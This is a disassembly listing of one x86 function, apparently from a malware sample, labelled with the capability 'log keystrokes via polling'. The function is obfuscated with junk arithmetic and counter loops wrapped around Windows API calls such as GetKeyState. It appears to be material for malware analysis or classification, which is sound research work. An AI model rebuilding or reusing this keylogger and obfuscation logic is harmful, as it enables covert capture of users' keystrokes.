Function at 0x4204c7
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x437da4]
sbb eax, dword [0x436020]
mov dword [0x437da4], eax
mov eax, dword [ebp + 0xc]
xor dword [0x42d65d], ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
sub dword [0x436040], 0x4d37
mov dword [ebp - 0x10], 0xf89c854a
and ecx, dword [0x43603c]
mov dword [ebp - 0xc], 0xf89c854b
and dword [0x42df65], 0
mov ecx, dword [0x42df65]
inc ecx
mov dword [0x42df65], ecx
cmp dword [0x42df65], 6
jne 0x42053c
push dword [ebp - 0x1c]
push 0x5033
call dword [sym.imp.GDI32.dll_StartDocW]
cmp dword [0x42df65], 5
jne 0x420558
xor ecx, ecx
or ecx, dword [0x42df65]
inc ecx
mov dword [0x42df65], ecx
cmp dword [0x42df65], 0x13
jb 0x420514
adc dword [0x42df55], 0x4697
mov dword [ebp - 0x2c], eax
xor ecx, ecx
or ecx, dword [0x437da8]
xor dword [0x438e2a], ecx
mov eax, dword [ebp - 0x10]
push esi
mov esi, 0x7510836
or dword [0x42df55], 0x512a
xor eax, esi
sub dword [0x438e36], 0x2f35
push edi
adc edi, edi
mov edi, 0x327284
adc dword [0x437d9c], edi
add eax, edi
and dword [0x43601c], 0
xor ecx, ecx
or ecx, dword [0x43601c]
inc ecx
mov dword [0x43601c], ecx
cmp dword [0x43601c], 0x24
jne 0x4205e1
push dword [ebp - 0x20]
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_SetWindowPlacement]
cmp dword [0x43601c], 0x1a
jb 0x4205b9
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0x10]
add ecx, dword [0x438e2e]
xor eax, esi
adc dword [0x437d90], edx
add eax, edi
and dword [0x42df4d], 0
jmp 0x420620
mov ecx, dword [0x42df4d]
inc ecx
mov dword [0x42df4d], ecx
cmp dword [0x42df4d], 0x15
jae 0x420648
cmp dword [0x42df4d], 0x18
jne 0x420643
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x420613
mov dword [ebp - 8], eax
mov eax, dword [0x436924]
xor ecx, ecx
xor ecx, 0x3fe4
or eax, dword [eax + ecx]
mov dword [ebp + 0xc], 0xf89c85aa
or dword [0x42d651], 0x1ce0
mov dword [ebp - 0x14], 0xf89c8548
mov dword [ebp - 0x18], 0xf89c8549
mov dword [ebp - 0x1c], 0xf89c85b6
adc ecx, dword [0x42df4d]
mov dword [ebp - 0x20], 0xf89c85b7
sub dword [0x42df5d], 0x24da
mov dword [ebp - 0x24], 0xf89c85b4
mov dword [ebp - 0x28], 0xf89c85b5
mov eax, dword [ebp - 0x10]
or dword [0x437da0], ebx
mov ecx, dword [ebp - 4]
sub dword [0x436038], 0x42d655
xor eax, esi
and dword [0x436020], 0x438e3e
add eax, edi
mov dword [0x436030], 0x6092
cmp ecx, eax
je 0x420a51
mov dword [0x437da0], 0x2515
jmp 0x420a2d
and dword [0x438e46], 0
mov eax, dword [0x438e46]
inc eax
mov dword [0x438e46], eax
cmp dword [0x438e46], 0x19
jne 0x420765
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
cmp dword [0x438e46], 0x17
jb 0x420747
sbb eax, eax
mov eax, dword [ebp + 8]
and ecx, dword [0x42df51]
mov ecx, dword [ebp - 4]
sbb dword [0x438e3a], 0x438e36
sub ecx, eax
mov dword [0x436028], 0x15
cmp dword [0x436028], 0
je 0x4207e1
cmp dword [0x436028], 0x24
jne 0x4207d1
push 0x1bc4
push dword [ebp - 0x14]
push 0x42df49
push dword [ebp - 0x18]
push dword [ebp - 0x28]
push dword [ebp - 0xc]
push 0x267c
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov eax, dword [0x436028]
dec eax
mov dword [0x436028], eax
jmp 0x420796
mov eax, dword [ebp + 0xc]
sbb dword [0x438e42], 0xb6a
xor eax, esi
add eax, edi
cmp ecx, eax
mov dword [0x437d90], 0x414e
jb 0x420a51
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x438674]
mov edx, 0x1000
and ecx, dword [ecx + edx]
mov ecx, dword [ebp + 0xc]
mov dword [0x42d651], 0x1c
cmp dword [0x42d651], 0
je 0x420871
cmp dword [0x42d651], 3
jne 0x420845
push dword [ebp - 0x24]
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
cmp dword [0x42d651], 4
jne 0x42085f
mov edx, dword [0x42d651]
dec edx
mov dword [0x42d651], edx
mov edx, dword [0x42d651]
dec edx
mov dword [0x42d651], edx
jmp 0x420822
xor eax, esi
xor ecx, esi
add ecx, edi
add eax, edi
imul eax, ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
sub edx, ecx
cmp edx, eax
ja 0x4208ea
mov eax, dword [ebp + 0xc]
xor eax, esi
add eax, edi
jmp 0x420a15
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
xor eax, esi
xor ecx, esi
add ecx, edi
add eax, edi
imul eax, ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
sub edx, ecx
cmp edx, eax
ja 0x420965
mov eax, dword [ebp - 0x14]
jmp 0x420a07
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
xor eax, esi
xor ecx, esi
add ecx, edi
add eax, edi
imul eax, ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
sub edx, ecx
cmp edx, eax
ja 0x42098e
mov eax, dword [ebp - 0x18]
jmp 0x420a07
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0xc]
xor eax, esi
xor ecx, esi
add ecx, edi
add eax, edi
imul eax, ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
sub edx, ecx
cmp edx, eax
ja 0x4209b7
mov eax, dword [ebp - 0x1c]
jmp 0x420a07
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + 0xc]
xor eax, esi
xor ecx, esi
add ecx, edi
add eax, edi
imul eax, ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
sub edx, ecx
cmp edx, eax
ja 0x4209e0
mov eax, dword [ebp - 0x20]
jmp 0x420a07
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0xc]
xor eax, esi
xor ecx, esi
add eax, edi
add ecx, edi
imul eax, ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
jbe 0x420a07
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0xc]
xor ecx, esi
xor eax, esi
add ecx, edi
add eax, edi
imul eax, ecx
mov dword [ebp - 8], eax
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x2c]
push eax
call fcn.0042b4be
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0xc]
xor eax, esi
mov ecx, 0xffcd8d7c
sub ecx, eax
add ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
xor eax, esi
add eax, edi
imul eax, edx
cmp eax, ecx
jbe 0x42073d
pop edi
pop esi
leave
ret 8